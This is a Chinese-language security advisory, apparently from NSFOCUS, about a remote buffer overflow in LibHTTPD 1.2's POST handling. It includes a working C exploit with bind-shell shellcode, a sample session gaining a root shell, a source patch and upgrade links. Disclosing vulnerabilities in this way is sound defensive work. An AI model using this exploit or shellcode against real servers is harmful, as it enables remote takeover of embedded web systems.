首页 -> 安全研究
安全研究
安全漏洞
LibHTTPD POST远程缓冲区溢出漏洞
发布日期:2002-11-25
更新日期:2002-12-03
受影响系统:
Hughes Technologies libHTTPD 1.2不受影响系统:
Hughes Technologies libHTTPD 1.3描述:
BUGTRAQ ID: 6172
LibHTTPD是一款用于嵌入设备的小型WEB服务程序。
LibHTTPD对超长POST请求处理不正确,远程攻击者可以利用这个漏洞对LibHTTPD服务程序进行缓冲区溢出攻击,以WEB进程在系统上执行任意指令。
检查libhttpd.a库中的'api.c'源代码,发现860行的httpdProcessRequest()函数对用户提交的输入缺少正确检查,提交超长POST请求可导致不经过充分边界检查而直接进行拷贝操作,发生缓冲区溢出,精心构建提交请求数据可能以WEB进程权限在系统上执行任意指令。
<*来源:dong-h0un U (xploit@hackermail.com)
链接:http://www.securiteam.com/unixfocus/6H00I2060I.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
**
** Lib HTTPd Remote Buffer Overflow exploit
** by Xpl017Elz
** __
** Testing exploit:
**
** bash$ (./0x82-Remote.libhttpdxpl;cat)|nc libhttphost 80
**
** (Ctrl+c)
** punt!
** bash$ nc libhttphost 3879
** uname
** Linux
** id
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),
** 3(sys),4(adm),6(disk),10(wheel)
** exit
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
*/
#include <stdio.h>
int main(/* args? */)
{
int shadd2r;
char b1ndsh[] = /* 129byte bindshellcode */
"\211\3451\322\262f\211\3201\311\211\313C\211]\370C\211]\364K\211M\374\215M"
"\364\315\2001\311\211E\364Cf\211]\354f\307E\356\017'\211M\360\215E\354\211E"
"\370\306E\374\020\211\320\215M\364\315\200\211\320CC\315\200\211\320C\315"
"\200\211\3031\311\262?\211\320\315\200\211\320A\315\200\353\030^\211u"
"\b1\300\210F\007\211E\f\260\013\211\363\215M\b\215U\f\315\200\350\343\377"
"\377\377/bin/sh";
//--- POST &shellcode ---//
fprintf(stdout,"POST ");
for(shadd2r=0;shadd2r<0x408;shadd2r+=4)
{/* rEDhAT Default: 0x804e482,
Debian Address? */
fprintf(stdout,"\202\344\004\b");
}
fprintf(stdout,"\r\n");
//--- NOP,shellcode ---//
for(shadd2r=0;shadd2r<0x3e8;shadd2r++)
{/* SSSSSSSS...SSSSSSSSS;;; */
fprintf(stdout,"S");
}
fprintf(stdout,"%s\r\nx0x\r\nx82\r\nl0l\r\n",b1ndsh);
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* "dong-h0un U" <xploit@hackermail.com>提供了如下第三方补丁:
=== api.patch ===
--- api.c Sat Nov 9 20:06:30 2002
+++ api.patch.c Sat Nov 9 20:05:33 2002
@@ -867,7 +867,7 @@
httpContent *entry;
server->response.responseLength = 0;
- strcpy(dirName, httpdRequestPath(server));
+ strncpy(dirName, httpdRequestPath(server), HTTP_MAX_URL);
cp = rindex(dirName, '/');
if (cp == NULL)
{
厂商补丁:
Hughes Technologies
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Hughes Technologies libHTTPD 1.2:
INetCop Security Patch libhttpd.patch
http://downloads.securityfocus.com/vulnerabilities/patches/libhttpd.patch
Hughes Technologies Upgrade libHTTPD v1.3
http://www.hughes.com.au/products/libhttpd/libhttpd-1.3.tar.gz
浏览次数:3784
严重程度:0(网友投票)
绿盟科技给您安全的保障